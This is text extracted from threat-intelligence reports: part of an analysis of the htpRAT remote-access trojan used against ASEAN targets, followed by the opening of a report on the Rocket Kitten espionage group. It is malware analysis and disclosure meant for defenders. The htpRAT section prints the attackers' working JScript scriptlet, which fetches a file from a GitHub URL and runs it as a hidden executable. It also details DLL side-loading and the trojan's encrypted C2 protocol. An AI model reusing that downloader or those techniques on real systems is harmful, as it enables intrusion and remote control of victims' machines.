bf74c7199eb643fbb2ee998a643469f155439e18 ctfmon.jpg Nov 18, 2016, 5:00 AM GMT2 75b55d9dc45b245b91a3bbd5ebaf64a76dee1f56 20160728.
jpg Nov 18, 2016, 5:01 AM GMT2 fc2a6c0e53b15c93d392f605f3180a43c7c0c78e 2011.jpg While only 20160728.jpg was used in the above mentioned attack, there are many other available payloads.
All files besides 2011.jpg are portable executables.
2011.jpg is in fact a scriptlet file containing some VBS scripting to download the test.zip file seen in the above commit log.
The scriptlet looks like this (the three versions only had minimal changes, most importantly the Target variable was changed to a random path as to not conflict with already existing files): Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN8 ?
XML version1.0?
scriptlet registration descriptionCom progidCommaster version1.00 classid20001111-0000-0000-0000-0000FEEDACDC  script languageJScript [CDATA[ var Source  https://raw.githubusercontent.com/justtest1314/justme2/master/test.
zip var Target  c:\\windows\\temp\\String(Math.random()(Math.pow(10,10))).exe var Object  new ActiveXObject(MSXML2.XMLHTTP) Object.
Open(GET, Source, false) Object.
Send() if (Object.
Status  200)  // Create the Data Stream var Stream  new ActiveXObject(ADODB.Stream) // Establish the Stream Stream.
Open() Stream.
Type  1 // adTypeBinary Stream.
Write(Object.
ResponseBody) Stream.
Position  0 Stream.
SaveToFile(Target, 2) // adSaveCreateOverWrite Stream.
Close() new ActiveXObject(WScript.
Shell).Run(Target,0,true)  ]] /script /registration public method nameExec/method /public /scriptlet Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN9 Test.zip is the first stage payload of htpRAT, similar to the 20160728.jpg file downloaded by the XLS mentioned at the start of this report.
The following table lists the files and their respected MD5 and SHA256 values (note, 2011.jpg exists multiple times due to the multiple commits/changes done on this file: Filename MD5 SHA256 2011.jpg (commit: 9d43c169be6c773d8cfc755 36a26118c98ad1d) a164a57e10d257caa1b6230153c05f5d ccfccbe54af2aec39a85d28b22614e2f 43d084a2bcadeae75cad488a8957d862 2011.jpg (commit: a63e06112517d9d734 053764354b66e20f12151) 01cddd0509d725c0ee732e2ef6109ecd 4b2f8cf7d6b2220cc17c66755564e68d3ab997a f1ab3f47cbe2fa79293b3d38c 2011.jpg (commit: eda99ee315d4702b02646a4 8c22b5e2eb5aa01f) 81b11c60b28a17c8a39503daf69e2f62 6b4f605e4cffce074e683f2ade409a 56c318a34f1e4b6b0f15b582c5c66b64e9 20160728.jpg 5fa81da711581228763a7b7c74992cf8 593e13dca3ab6ce6358eec09669f69faef40f1e 67069b08e0fe3f8451aaf62ec 8001.exe 417a608721e9924f089f9143a1687d97 c098cca96c124325d89b433816e6e7fd0b14c51b 287c254314f96560975f7864 ctfmon.jpg d5a9d5d1811c149769833ae1cd3b1aca ee1ea9df1f8d7aaa03a93692c1deab09e8d 834d52e9d5971d013ed259d30229c script.jpg 417a608721e9924f089f9143a1687d97 c098cca96c124325d89b433816e6e7fd0b14c51b 287c254314f96560975f7864 test.zip 417a608721e9924f089f9143a1687d97 c098cca96c124325d89b433816e6e7fd0b14c51b 287c254314f96560975f7864 Staged delivery of the final htpRAT core The analysis starts from the downloaded payload coming from the APA list.xls file.
The payload was downloaded to the application data folder and renamed to ctfmon.exe from the original 20160728.jpg name (SHA256: 593e13dca3ab6ce6358eec09669f69faef40f1e67069b08e0fe3f8451aaf62ec).
The author calls this first package Microsoft based on the project PDB path still left in the binary: Upon execution, it first checks if a debugger is active as well as checks if it is able to execute the ipconfig utility, most likely to ensure the next step will succeed.
It then proceeds to drop a CAB file named temp.
cab in the local temp directory.
The CAB file is a compressed bundle containing the third stage of the infection.
The code decompresses the CAB file by running the Microsoft expand utility locally.
The following three files from the CAB file are placed in the local application data folder in a subfolder called Microsoft: C:\Users\cool\Documents\Visual Studio 2010\Projects\microsoft\Release\microsoft.pdb Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN10 Filename MD5 SHA256 data 69d24b6fdc87af3a04318e1502e07977 0e2491e1f0e1467121b15b9d03b3fe73ac0a5aa85dc949f8e627ed3 848bdc68a fsma32.dll a58f3f9441b4ecc9a0e089578048756f 6cf1cff2e0d1b2d91c417f962a2623077b29318499f8e43e1e 6865ba1eefd234 winnet.exe c452cd2cc4c91b7da55e83b9eff46589 a80df73828b3397b5e120f3a3b3dee3cee2672aaa2ccb2134c68b2f fe13c0725 After decompressing the files, the winnet.exe file is executed.
This file is a legitimate piece of software it is a part of the F-Secure antivirus suite and used here because it is vulnerable to DLL side loading.
The antivirus component normally loads code from a file called fsma32.dll, which on a normal system is also a component of the antivirus product, but due to the way it searches for this file and performs no verification of its legitimacy, a malicious version of fsma32.dll is started.
The author calls this DLL windows based on the project PDB path still present: The DLL loads the data file, also decompressed from the CAB file, decrypts it and loads the decrypted content into memory and executes it.
The decrypted data content is, in fact, also a DLL file, the fourthstage of the infection.
The author calls this DLL dll based on the project PDB path still present  left: This fourth stage of the infection is quite simple.
It starts a new svchost process and decrypts a fifth stage payload it internally has stored and injects this into the svchost process.
This starts a remote thread inside the svchost process to run the injected code.
This final payload and the fifth stage is called htpdll based on the project PDB path (this is where the name htpRAT comes from): The fifth stage is the final stage and contains the core of the RAT which communicates with the C2 server and executes the attackers commands.
C:\Users\cool\Documents\Visual Studio 2010\Projects\windows\Release\windows.pdb C:\Users\cool\Documents\Visual Studio 2010\Projects\dll\Release\dll.pdb C:\Users\cool\Documents\Visual Studio 2010\Projects\htpdll\Release\htpdll.pdb Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN11 Analysis of the htpRAT core At its core htpRAT is a simple and generically implemented RAT with some quite interesting implementations of its communication protocol, command execution and configuration storage systems.
Persistence  storage Initially when htpRAT starts it creates a mutexes to ensure there is only one instance running.
The name of the mutex can be used as an indicator on an active system, it is hard coded as: It then obtains its local path in the appdata folder (which is LOCALAPPDATA\Microsoft\).
This path is used to store a file called token.ini in which the system uptime (in milliseconds) is contained.
The token.ini file is formatted using the INI format through the use of the GetPrivateProfileString and WriteProfileString functions of the WinAPI.
htpRAT uses the following hardcoded information to structure its app and key names in the INI file.
This can be used to filter out legitimate token.ini files, if encountered: Once htpRAT has its INI file written, it sets a startup entry in the registry to ensure automatic startup when a system is rebooted.
A key is created under: 3084ADEC-04CF-4981-B6A0-87DC5C385E24 3084ADEC-04CF-4981-B6A0-87DC5C385E24 Software\\Microsoft\\Windows\\CurrentVersion\\Run Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN12 The keyname WindowsApp has the value of the wininit.exe binary location in the Microsoft subfolder in local appdata.
Communication protocol htpRAT uses a custom communication protocol utilizing a JSON format internally which is encrypted and wrapped in HTTP requests.
The base format of a request sent to the C2 server looks like this: Individually the field values contain the following: command: The type of action/command the request has data for in its content field.
The two known values for this are: online: Set when the malware is polling the C2 server for new commands.
(
It also functions as an initial check-in the client simply starts polling for commands on startup).
When this value is set, the content field contains the following fields: tag: The campaign tag which is hardcoded.
name: The computer name is obtained via a call to GetComputerName from the WinAPI.
cmd: This value is seen when the client has executed commands as per instructions from the C2 server.
When this value is set, the content field contains the result from executing the command obtained from the C2.
Additionally the cid field contains a special command ID used for this command.
content: The command field can contain a subset of different keywords that change the content of the content field.
The field then contains the result provided by the operator on the  C2 side as long as  the command field is set to cmd.
Otherwise, when the command field is set to online this field contains the campaign tag and computer name as explained in the subsection above.
The data in this field is base64 encoded when it is assigned to this field to retain any newlines / data, as it can contain arbitrary data from command execution results.
mid: A unique machine ID based on the GetTickCount value, which is called the first the RAT ever runs.
This function returns the amount of milliseconds the system has been up, this is used (in combination with the computer name) to identify a unique client.
cid: The command ID either set to online when polling for new commands, or it is set to the command ID supplied by the C2.
When a command is obtained from the C2, this command contains a special command ID supplied by the actor issuing the command.
This command ID is replicated back to the C2 with the results of the requested command.
The completed JSON object is, after being filled with the correct information, encrypted before being sent to the C2 through a HTTP POST request.
The encryption of the POST data is done with a custom algorithm.
A key is generated per request to the C2 server and is seeded through the return of the GetTickCount function.
First a 10 character string is generated by picking 10 numbers at random.
The pipe symbol  is added at the end of the string making the entire key 11 characters.
The check-in JSON data is then XORd with the generated key.
Then the data is prepared for the POST request as follows:  command: command string, content: command id result, mid: machine ID, cid: command id,  Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN13 The key is XORd with itself character by character: first character with the second, second with the third until the last character is hit which is XORd with the first character again.
The encrypted checkin data is prepended with the encrypted key and then encoded with base64.
The first character of the plain XOR key is prepended in front of the base64 encoded data.
This prepending of the first key of the XOR key allows the C2 server to calculate back the entire key and decrypt the data.
To give a good example of this protocol, we can work it back from from a network capture of a victim checking in to the C2 server: The encrypted communication blob is: The first layer of the data is the first plaintext character of the XOR key followed by the base64 encoded and XORd check-in data.
We can split up like this: First character of the key: 5 Base64 encoded check-in data:  First thing to do is decoding the XOR key out of the data.
We decode the base64 data and grab the first 11 bytes.
We XOR the first byte of this data with the first character we obtained from the check-in, this gives us the second character of the key.
With the second character of the key we can XOR the third and so on.
We continue this until we get the entire key back in plaintext, for the provided data above the key is:  5040941647 5BQQECQ0FBwIDS0lOEldfVFlQWFAVRhdfWlxQWlQUGBdeVl9aRFxaRRQUDVwXVU16CW1mVV14FX9Ebl wR3h1fkIlYgFYeVB1B393fTlgAFxgb2J/cH1ZTAgSGBAbWVhSFhdGFRIFBQoCBAUGD14ZEBZTUFAT g4XXlpeWFlXURNL BQQECQ0FBwIDS0lOEldfVFlQWFAVRhdfWlxQWlQUGBdeVl9aRFxaRRQUDVwXVU16CW1m V14FX9EblwR3h1fkIlYgFYeVB1B393fTlgAFxgb2J/cH1ZTAgSGBAbWVhSFhdGFRIFBQo BAUGD14ZEBZTUFATFg4XXlpeWFlXURNL Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN14 In python extracting the key from the check-in data looks like this: We can, using the extracted key, decrypt the rest of the data with a simple XOR loop.
Decrypted we end up with the following JSON data for this check-in: For its HTTP communication htpRAT uses a hardcoded user-agent: While not in use in this attack, htpRAT has an internal configuration which allows the operator to build htpRAT clients with any of the following: Proxy information (username, password, url) Arbitrary raw request headers and data Explicitly it has a field for the Cookie header WinHTTP request options (Timeouts) These options are visible when we reverse engineered the malware, but they were not put to use in this build of htpRAT.
Mozilla/5.0 (Windows NT 10.0 WOW64 rv:41.0) Gecko/20100101 Firefox/41.0 Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN15 Execution of operator commands The design of htpRAT differs from common RATs.
Most RATs feature a fixed set of commands that attackers can execute with different command IDs.
For example, file download or file upload would both be unique functionalities of the RAT.
htpRAT doesnt adhere to this structure.
Instead, the malware creator decided to generalize this concept by having the RAT execute commands directly as provided from a C2 server.
This means, for example, there is no specific function to get screenshots on the host instead, on the C2 server side, the operator has a button which says Get Screenshot which simply generates a set of commands to execute through something like PowerShell to take a screenshot.
This makes htpRat dynamic and, subject to change.
Any new functionality the operators want they simply implement by wrapping commands on the C2 without having to update the htpRAT source code.
Coincidentally, this also means we cannot give a fixed list of functionality for this RAT.
Its functionality is completely dependent on what rights the RAT was able to obtain upon installation and what the operator wants to do.
The way the execution of commands when the bot starts is implemented is as follows, : A separate command prompt process is started which can be communicated with via named pipes.
Any incoming commands from the C2 are executed via the named pipes on the sub process.
Results are read from the named pipe and communicated back to the C2 server.
Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN16 Infrastructure analysis Based on the analysis of the malware we know that qf.laoscript.org is the C2 host for this malware.
The WHOIS data for this domain is quite interesting as the name John Durdin can be seen on multiple domains, but what stands out is the difference in email address used in the registrations.
The following is a search on domain registrations for this name in PassiveTotal--most have the same email address, but one stands out.
The email address is the registered domain: If we look more closely, we see that there is also a .NET domain for laoscript.
The C2 domain is clearly registered to raise fewer suspicions by mimicking the other domain.
It becomes even more clear when we see all the registration information was just copied if you compare laoscript.net and laoscript.org: The only thing the actor could not fake was the email address due to the fact that an email address must be used to activate the domain at the registrar.
The use of the laoscript name is quite interesting as it Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN17 shows real active targeting.
The real laoscript website is a piece of software that helps with the input of the Lao language text on computers which gives the actor good leverage for social engineering: Looking at the domain we can see it has been registered since 2014 which means this C2 domain has been under the control of the actor for at least two years.
We can also see that in the past, the domain has been used in other attack campaigns as well which indicates there are more yet undiscovered victims.
There are also two samples that connect to qf.laoscript.org which are not htpRAT, they are in fact variations of the well known PlugX malware: Both also use DLL side loading techniques but using a different antivirus product to leverage execution through.
Still this means theres an active connection between the current actors with the new unknown htpRAT and where they in the past used PlugX.
While we can only guess for reasons why this actor decided to develop their own tool instead of continuing to use PlugX, it seems it is at least a step up in terms of detection of the malware.
PlugX was becoming quite common and easy to detect on both the network as well as file system level.
5e0019485fbfa2796ec0f1315c678b4a3fb711aef5d97f42827c363ccd163f6d (First seen 2015-07-10) eeb34edec5fd04e6a44bf5c991eaf79c68432d4d0037b582bcd9062cc2b94c62 (First seen 2015-07-17) Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN18 Other activity by the actor using htpRAT Going through older samples connecting to the C2 domain for htpRAT, we mostly find a variety of PlugX samples.
We also ran into the exploit activity by the group, ShadowServer, documented in their paper, The Italian Connection: An analysis of exploit supply chains and digital quartermasters.
Page six describes the use of the HackingTeam leaked exploits by various groups.
One interesting connection is a piece of malware called MyHNServer which is a packaged PlugX payload.
This sample also connects to qf.laoscript.org and has quite an interesting PDB path: The first foldername  is interesting in context it translates to the elderly or brother group most likely referring to a more senior/experienced and respected group.
If we correlate samples based on this PDB path, we get into some really interesting attacks.
One other PDB path we can find based on the groups name is for another piece of malware called MyCL (sha256: 2fa07d41385c16b0f6ad32d12908db1743ca77db0b71e6cfd0fde76ef146e983): The first word  means source code, and the second  means victims.
By itself the sample isnt that interesting, although it isnt PlugX or htpRAT.
It is interesting because of the C2 server used: data.
dubkill.com.
This domain has been widely used in other attacks in Vietnam as documented by BKav, a Vietnamese security company: http://genk.vn/internet/vu-gia-mao-email-ket-luan-thu-tuong-phat-hien- bien-the-virus-bien-dong-2015060612185601.chn.
Looking at the registration information for the dubkill domain, we can find an interesting link to a more recent government attack.
The domain is registered to a person using the email address dubkill163.com, this same email address was also used to register dcsvn.org which was used to imitate the official military domain in Vietnam.
This attack was publicly documented by BKav (http://security.bkav.com/home/-/blogs/malware-attacking-vietnam-airlines- appears-in-many-other-agenci-1/normal?p_p_authDHFn7deT) and the Vietnamese government (http://e.
gov.vn/theo-doi-ngan-chan-ket-noi-va-xoa-cac-tap-tin-chua-ma-doc-a-NewsDetails-37486-14-186.html).
Additionally there is IP address overlap between dcsvn.org and laoscript.org in 2015.
Following all these links over WHOIS, the shared domains and shared working paths reveals the adversarys web  is wider and deeper than expected.
While this report was solely written to inform about a new piece of malware used by this adversary this last section highlights the size and amount of operations.
http://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/Aug.10.The_Italian_Connection_An_analysis_of_exploit_supply_chains_and_digital_quartermasters/HTExploitTelemetry.pdf http://genk.vn/internet/vu-gia-mao-email-ket-luan-thu-tuong-phat-hien-bien-the-virus-bien-dong-2015060612185601.chn http://genk.vn/internet/vu-gia-mao-email-ket-luan-thu-tuong-phat-hien-bien-the-virus-bien-dong-2015060612185601.chn http://security.bkav.com/home/-/blogs/malware-attacking-vietnam-airlines-appears-in-many-other-agenci-1/normal?p_p_authDHFn7deT http://security.bkav.com/home/-/blogs/malware-attacking-vietnam-airlines-appears-in-many-other-agenci-1/normal?p_p_authDHFn7deT http://e.gov.vn/theo-doi-ngan-chan-ket-noi-va-xoa-cac-tap-tin-chua-ma-doc-a-NewsDetails-37486-14-186.html http://e.gov.vn/theo-doi-ngan-chan-ket-noi-va-xoa-cac-tap-tin-chua-ma-doc-a-NewsDetails-37486-14-186.html Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN19 Indicator of Compromise While we mentioned some other C2 domains in this article, the IOCs listed below tie in directly with confirmed activity for htpRAT for the above detailed campaign.
All those IOCs can also be obtained from the public PassiveTotal project which will be kept in sync with new developments: [PT PROJECT].
htpRAT Network IOCs: Domain IP qf.laoscript.org 128.199.245.204 htpRAT Filesystem IOCs: Filename MD5 SHA256 data 69d24b6fdc87af3a04318e1502e07977 0e2491e1f0e1467121b15b9d03b3fe73ac0a5aa85dc 949f8e627ed3848bdc68a fsma32.dll a58f3f9441b4ecc9a0e089578048756f 6cf1cff2e0d1b2d91c417f962a2623077b29318499f8e43e1e 6865ba1eefd234 winnet.exe c452cd2cc4c91b7da55e83b9eff46589 a80df73828b3397b5e120f3a3b3dee3cee2672aaa2ccb2134c68b2f fe13c072 2011.jpg a164a57e10d257caa1b6230153c05f5d ccfccbe54af2aec39a85d28b22614e2f43d084a2bcadeae75ca d488a8957d862 2011.jpg 01cddd0509d725c0ee732e2ef6109ecd 4b2f8cf7d6b2220cc17c66755564e68d3ab997af1ab3f47cbe 2fa79293b3d38c 2011.jpg 81b11c60b28a17c8a39503daf69e2f62 6b4f605e4cffce074e683f2ade409a56c318a34f1e4b6b0f15b582c 5c66b64e9 20160728.
jpg 5fa81da711581228763a7b7c74992cf8 593e13dca3ab6ce6358eec09669f69faef40f1e67069b08e0fe 3f8451aaf62ec 8001.exe, script.jpg, test.zip 417a608721e9924f089f9143a1687d97 c098cca96c124325d89b433816e6e7fd0b14c51b 287c254314f96560975f7864 ctfmon.jpg d5a9d5d1811c149769833ae1cd3b1aca ee1ea9df1f8d7aaa03a93692c1deab09e8d834d52e9d5971d013ed2 59d30229c APA list.xls f6d75257c086cd20ec94f4f146676c6e f2e7106b9352291824b1be60d6772c29a45269d4689c2733d9eef a0a88eeff89 Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN20 htpRAT Miscellaneous IOCs: Description Value INI key name 80478813-B963-4C21-953E-D51544A1863B Runtime mutex 3084ADEC-04CF-4981-B6A0-87DC5C385E24 Useragent Mozilla/5.0 (Windows NT 10.0 WOW64 rv:41.0) Gecko/20100101 Firefox/41.0 Registry startup keyname WindowsApp qf.laoscript.org 128.199.245.204 Additional IOCs related to the Other activity by the htpRAT group section are listed below.
These contain a raw dump of observed samples, domains and IPs.
This last set of IOCs is not tracked in the public PT project linked above.
Also keep in mind there is a substantial amount of historical IP addresses for the domains in the list below which arent related to current activity.
They are only shone in combination with the adjoining domain names.
This section is quite raw and unstructured: the only connection is through shared infrastructure from the htpRAT campaign.
Additional network IOCs: Description IP download.laokey.com 91.109.29.115 103.193.4.164 ftp.laokey.com 43.249.38.250 91.109.29.115 128.199.245.204 laokey.com 103.193.4.164 43.249.38.250 128.199.245.204 mysqlupdate.hopto.org 43.249.38.250 80.255.3.101 91.109.29.115 Remote Control Interloper: Analyzing New Chinese htpRAT Malware Attacks Against ASEAN21 Description IP la.laoscript.org 103.193.4.164 86.106.131.12 43.249.38.250 91.109.29.115 128.199.245.204 116.251.223.148 27.255.94.75 216.158.86.233 download.laoscript.org 191.101.242.101 119.59.123.114 image.laoscript.org 115.84.101.75 (IP address for the MOFA of Laos, the server wasnt compromised as far as we know) 116.251.223.212 119.59.123.114 119.59.123.58 la.proxyme.net 61.195.97.204 128.199.245.204 128.199.89.28 Additional filesystem IOCs: Filename MD5 SHA256 favicon.ico 27b318e103985fb4872ea92df1d2f35a 56c3909c19e9fb934ef6d1f73fbfe3d05935933c0c071fc23ad ce05d545b8965 - fb7376074cd98d2ac9d957cba73d054e 5e0019485fbfa2796ec0f1315c678b4a3fb711aef5d97f42827c 363ccd163f6d - 863f83f72b2a089123619465915d69f5 e7264a8ed7ed9145e6cdbcfe55e9a0d00f4df70becb62a83496c 34548c5c7bdf 2017 RiskIQ, Inc. All rights reserved.
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THRE AT INTELLIGENCE A ND RE SE A RCH ROCKET KIT TEN: A CAMPAIGN WITH 9 LIVES CHECK POINT SOFTWARE TECHNOLOGIES 2015 Check Point Software Technologies Ltd. All rights reserved      2 EXECUTIVE SUMMARY ....................................................................................... 03 INVESTIGATION TIMELINE REVIEW ................................................................... 04 ROCKET KITTEN TOOLS  INFRASTRUCTURE ................................................. 09 GEFILTE PHISHBEST SERVED COLD .............................................................. 11 WOOLGEREDHOISTED BY THEIR OWN PETARD ............................................ 18 REELED INPHISHING LOGS ANALYSIS .......................................................... 25 EPILOGUE ........................................................................................................... 27 APPENDIX AINDICATORS OF COMPROMISE .................................................. 28 APPENDIX BMPK TECHNICAL DESCRIPTION ............................................... 33 TABLE OF CONTENTS 2015 Check Point Software Technologies Ltd. All rights reserved      3 EXECUTIVE SUMMARY Since early 2014, an attacker group of Iranian origin has been actively targeting persons of interest by means of malware infection, supported by persistent spear phishing campaigns.
This cyber-espionage group was dubbed Rocket Kitten, and remains active as of this writing, with reported attacks as recent as October 2015.
The Rocket Kitten group and its attacks have been analyzed on numerous occasions by several vendors and security professionals, resulting in various reports describing the groups method of operation, tools and techniques.
Characterized by relatively unsophisticated technical merit and extensive use of spear phishing, the group targeted individuals and organizations in the Middle East (including targets inside Iran itself), as well as across Europe and in the United States.
Many of these targets were successfully compromised by various pieces of custom-written malware and despite identification and flagging of their infrastructure, the attackers have struck again-and-again by making minor changes to their tools or phishing domains.
Check Point has obtained a complete target listing from the attackers servers among confirmed victims are high ranking defense officials, embassies of  various target countries, notable Iran researchers, human rights activists, media and journalists, academic institutions and various scholars, including scientists in the fields of physics and nuclear sciences.
This report provides a summary of the findings including: New evidence obtained during Check Points independent investigation into attacker infrastructure, including previously unpublished malware indicators.
Information that appears to reveal the full extent of operations over the past year, and provides unique insight into target profiles and attacker operation internals.
Analysis of attack data to reveal details on victims and specific industries that may have special significance to Iranian political and military interests.
Analysis of attacker mistakes that appear to reveal the true identity of the main devel- oper behind the groups activities (a.k.a.
Wool3n.
H4T), detailed for the first time.
It is our hope this report and measures taken over the past few weeks lead to an effective shutdown of attacker operations (current generation of tools and infrastructure).
While Check Point customers are protected against all known variants of this threat, we urge fellow security vendors and malware research professionals to extend malicious IoC (Indicators-of-Compromise) coverage in current protection infrastructure.
2015 Check Point Software Technologies Ltd. All rights reserved      4 INVESTIGATION TIMELINE REVIEW [If you are familiar with previous publications and interested in Check Points new insights, you may skip this section.]
The Rocket Kitten campaign/actor group has been studied and analyzed on multiple occasions by different vendors, threat intelligence groups and individual researchers.
In a repeating challenge in the malware research domain, we have seen different reports introduce a myriad of code names and operation names for what may very well be the same campaign/actors.
In contrast to malware naming schemes, all reports are in unanimous agreement with strong indications of the campaigns Iranian origin.
This thesis is supported by the individuals and verticals targeted, as part of a plethora of circumstantial and direct evidence.
While we should keep in mind digital evidence can be forged and tailored to falsely masquerade as any attacker to deceive a forensic analyst, the overwhelming amount of independent evidence collected over years of attack activity render the notion of a false campaign extremely improbable.
Despite all the reporting and sharing of malicious indicators, Check Point has detected continued active attacks using the same methods and infrastructure.
These findings were confirmed by other security vendors, as well as Check Points research partners.
It seems as if the attackers, unsophisticated as they are, are completely undeterred by the western security industrys revelations and publications.
Often with the simple replacement of a domain name and minor updates to their malware tools, they continue to carry out their operation undisturbed.
Let us try to review and briefly summarize points of interest from the publications so far.
1 https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-operation-saffron-rose.pdf 2 http://www.isightpartners.com/2014/05/newscaster-iranian-threat-inside-social-media/ 3 http://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign/ 4 https://www.youtube.com/watch?vWIhKovlHDJ0 5 https://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-woolen-goldfish.pdf 6 http://www.clearskysec.com/wp-content/uploads/2015/06/Thamar-Reservoir-public1.pdf 7 https://citizenlab.org/2015/08/iran_two_factor_phishing/ 8 http://documents.trendmicro.com/assets/wp/wp-the-spy-kittens-are-back.pdf May 2014 Dec. 2014 June 2015 Sept. 2015 May 2014 Sept. 2014 March 2015 Aug. 2015 Operation Saffron Rose1 Newscaster  An Iranian Threat Inside Social Media2 Rocket Kitten: Advanced Off-the-Shelf Targeted Attacks Against Nation States4 Gholee  a Protective Edge-Themed Spear Phishing Campaign3 Thamar Reservoir: An Iranian Cyber-Attack Campaign Against Targets in the Middle East6 The Spy Kittens Are Back: Rocket Kitten 28 Operation Woolen- Goldfish5 London Calling: Two-Factor Authentication Phishing From Iran7 Gadi Evron Tillmann Werner The Citizen Lab ClearSkyiSIGHT Partners ClearSky Trend Micro, Inc.
Trend Micro, Inc. ClearSkyFireEye 9 https://www.youtube.com/watch?vyNFA8l0kIeQ 2015 Check Point Software Technologies Ltd. All rights reserved      5 The May 2014 Operation Saffron Rose publication identifies an Iranian hacking group formerly named Ajax Security (code-named Flying Kitten by CrowdStrike) engaged in active spear phishing attacks on Iranian dissidents (those attempting to circumvent government traffic monitoring).
This group is potentially linked to more recent Rocket Kitten attacks (different tools, yet very similar mode of operation and phishing domain naming scheme).
No concrete evidence of such link has been presented yet.
Newscaster by iSight Partners was released the same month, to detail similar efforts of persistent spear phishing backed by false social media identities pertaining to be journalists of the fake news web site newsonair.org.
iSight, who reportedly cooperated with the FBI, provides a clear Iranian attribution to these efforts.
The report specifies the attackers targeted policymakers, senior military personnel and defense industry organizations in the US, UK and Israel.
We did not find direct evidence linking this activity to Rocket Kitten.
ClearSkys September 2014 blog post first described active attacks using a piece of malware they dubbed Gholee (as appears in a malicious payload export function, potentially named after a popular Iranian singer9).
The researcher points to initial leads into other attacks and notes the threat is currently undetected by the overwhelming majority of AV products.
Image 1the gholee export name as noted by ClearSky.
Gadi  Tillmans presentation at 31c3 (the 31st Chaos Communication Congress in Germany) was the first clear identification of the Rocket Kitten attacker group, continuing the CrowdStrike naming scheme for Iranian attacker groups.
The publication introduced the involvement of hacker persona Wool3n.
H4t and other identities in forensic evidence obtained from the malicious documents.
Image 2Forensic artifact in malicious document hinting to file creator as noted by Tillman Werner  Gadi Evron.
2015 Check Point Software Technologies Ltd. All rights reserved      6 The researchers followed to describe two pieces of malware used by the attackers: A deeper look into ClearSkys Gholee determined it is the wrapper component of an off-the-shelf penetration testing tool originally authored by Argentina-based Core Security.
This legitimate PT tool, named Core Impact, was illegally repurposed and used for malicious attacks by the Rocket Kitten group.
A .NET-based credential stealer that pilfers known certain credential storage locations in the infected computer and e-mails them to wool3n.h4tgmail.com.
This tool appears to be named FireMalv by the attackers.
Trend Micros March 2015 publication reintroduces the Gholee malware (as GHOLE) campaign, and describes Operation Woolen Goldfish, as well as an additional CWoolgeran unsophisticated key-logger apparently named woolger (likely a Portmanteau for wool3n keylogger) written in C, and present evidence showing its existence starting 2011.
C:\Users\Wool3n.
H4t\Documents\Visual Studio 2010\Projects\C-CPP\CWoolger\Release\CWoolger.pdb The researchers continue to point at the very likely attribution to the Wool3n.
H4T identity as the malware author, whose only online reference was found in an Iranian blogging platform.
Image 4wool3nh4t.blog.ir as pointed to by Trend Micro researchers In this publication, Trend Micro researchers document Rocket Kittens minor update to the Gholee malware (the gholee function was renamed to function), supposedly to avoid the Yara signature published by ClearSky and document the existence of Gholee malware samples dating March 2011, as further evidence for historic attacker activity.
ClearSky continued their investigations into the groups activities and in June 2015 published a paper dubbing the attack campaign Thamar Reservoir named after Dr. Thamar E. Gindin, herself a Rocket Kitten target.
ClearSky researchers notably mention the breach of an Israeli academic institution to serve as a hosting service for the phishing web site, and follow to present an OPSEC (operational security) failure by the attackers that allowed ClearSky to learn of a detailed (partial) target list.
Saudi Arabia 44 Israel 14 Yemen 11 Venezuela 8 Iraq 3 United Kingdom 3 Afghanistan 3 Egypt 2 United Arab Emerates 2 Kuwait 3 Turkey 1 Syria 1 Iran 1 Jordan 1 Canada 1 Spain 1 Morocco 1 Pakistan 1 2015 Check Point Software Technologies Ltd. All rights reserved      7 Image 5Partial target country distribution as visible on the phishing server logs exposed by ClearSky This list was analyzed to confirm a strong alignment with nation-state political interests, with specific victims known as adversarial or of intelligence value to Iran.
ClearSky also reference an inadvertent public confirmation for the Iranian attribution by the US Department of Treasury in a memo which briefly appeared online, before being deleted.
ClearSky provided many examples of personalized phishing e-mails and communication, including phone calls to victims luring them to open these attachments, demonstrating the groups persistency and breadth of operations.
Image 6  Custom- tailored phishing page as presented by ClearSky 2015 Check Point Software Technologies Ltd. All rights reserved      8 The same phishing phone calling scheme was detailed in an August 2015 report by Citizen Lab, describing attempts to lure victims to provide their two-factor authentication tokens.
In these attempts, victims receive tailored calls from a person who has clearly researched them, prompting them to take action on received e-mails.
Among targeted victims Citizen Lab mention EFFs Director for International Freedom of Speech Jillian York.
The Citizen Lab report describes overlapping phishing domains with ones previously reported, confirming a link with Rocket Kitten.
Image 7Google password reset phishing page as presented by Citizen Lab Interestingly, a special update to the Citizen Lab publication was added to include a response from a news outlet reported to be in close connection with Iranian intelligence, following allegations by exiled Iranian journalist Omid Memarian attributing these attacks to Iranian Revolutionary Guards10 with no doubt.
The response mocks the Western Media fishing in muddy waters and describe the allegations as weird.
The latest paper from Trend Micro and ClearSky (dated September 2015) goes a great length to detail the groups profile and mode of operations so far, and introduces a few more attack incidents, as well as a new downloader piece of malware.
10 A branch of the Iranian armed forces, sworn to protect the countrys Islamic system and prevent foreign interference.
2015 Check Point Software Technologies Ltd. All rights reserved      9 ROCKET KITTEN TOOLS  INFRASTRUCTURE The Rocket Kitten attacker groups main attack vector is spear-phishing.
An effective phishing campaign requires nothing more than a tailored phishing page, hosted on a cheaply-available web server.
As described in previous publications, the Rocket Kitten attackers make extensive use of various phishing schemes, often including back-and-forth e-mail correspondence with the victims, or even phone calls to establish legitimacy and reason to open the malicious attachment.
Actual malicious attachments detected in this campaign varied between a set of custom-written malware pieces, or downloader components that, in turn, fetch the malware from a remote server and execute in on the victim machine.
